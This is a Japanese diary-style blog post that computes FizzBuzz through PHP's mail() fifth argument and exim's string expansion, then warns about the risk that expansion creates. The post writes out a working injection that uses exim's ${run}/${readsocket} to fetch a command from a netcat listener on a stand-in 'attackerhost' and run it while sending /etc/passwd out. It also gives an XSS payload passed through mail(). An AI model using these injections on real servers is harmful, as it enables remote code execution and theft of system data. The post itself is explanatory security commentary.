どさにっき 〜2017年5月中旬〜

by やまや
<< = >>

2017年5月15日(月)

PHP の mail() 関数で FizzBuzz

_ といってもループはできないので数値は生のリストで与えるんだけど。

$ php -r 'mail("","","","","-be \${tr{\${map{1:2:3:4:5:6:7:8:9:10:11:12:13:14:15:16:17:18:19:20:21:22:23:24:25:26:27:28:29:30:31:32:33:34:35:36:37:38:39:40:41:42:43:44:45:46:47:48:49:50}{\${if={\${eval:\$item%15}}{0}{FizzBuzz}{\${if={\${eval:\$item%3}}{0}{Fizz}{\${if={\${eval:\$item%5}}{0}{Buzz}{\$item}}}}}}}}}{:}{\\n}}");'
1
2
Fizz
4
Buzz
Fizz
7
8
Fizz
Buzz
11
Fizz
13
14
FizzBuzz
16
17
Fizz
19
Buzz
(以下略)

_ 前提として、debian など sendmail が exim な環境であること。 この前の件で無駄に高機能であることが判明してしまった exim の文字列展開機能を使っている。

_ うーん、やっぱりこの機能ヤバいよ。単なる文字列展開だけならともかく、コマンド実行やネットワークへのアクセスすることまでできちゃう。そんなの必要?

_ 例。攻撃者はまず port 12345 にアクセスされると攻撃コマンドを返すサーバを用意しておく。

$ nc -lp 12345 -c 'echo /bin/uname -a'
で、mail() の第5引数にこの攻撃者が用意したサーバにアクセスさせる文字列を注入。
$ php -r 'mail("","","","","-be \${run{\${readsocket{inet:attackerhost:12345}{\${readfile{/etc/passwd}}}}}}");'
Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.86-1 x86_64 GNU/Linux
この例では、攻撃者の用意したサーバからコマンドをダウンロードして実行するついでに、せっかくなので /etc/passwd の中身を攻撃者に送りつけてます。

_ 昨年末から続く PHPMailer その他 PHP のメール送信まわりを利用したコード実行ってのは、mail() の第5引数に "-X logfile" や "-C configfile" といった文字列を注入し、そのファイルに含まれるコードを実行させるというものだった。なので、"-X logfile" でログを書き出せないように権限を縛っておいたり、"-C configfile" で読ませる設定ファイルが事前に用意できない場合は、不正文字列の注入まででコード実行までは至らない。が、exim のこの機能を使えばこういった中間ファイルを介する必要はない。文字列を注入できれば、それは即コード実行できることを意味する。

_ あるいは、もっとずっとシンプルにこーゆーの。

mail(..., "-be <script>alert(1)</script>");
文字列展開なし。単純にそのまま出力するだけ。が、Web アプリの作りにもよるけど、mail() が文字列を出力するとはふつー考えないから、これはサニタイズされずそのまま出力 HTML の中に出てくる可能性が高い。ということで、XSS になる。この例からわかるように、exim のこの機能は文字列を「展開する」だけでなく、「出力する」という動作そのものがヤバい。

_ いや、外部からこういう文字列を注入されなければ問題ないんだけどね。でもそうはいってもそういう穴が相次いで発見されているわけなんで、あんまり信用しない方がよさげな気がする。

_ そういえばもう2年も前になるのか。 GHOST こと glibc の gethostbyname() の脆弱性では、 exim がモロに影響を受けてコード実行までされた。これ、gethostbyname() の穴で exim の ACL を書き換えるんだけど、なんで ACL の書き換えでコード実行になるのかというと、ACL にマッチするかどうかのチェックの際に文字列展開されるからなんだよね。やっぱりこの機能ダメなんじゃないかなぁ。


<< = >>
やまや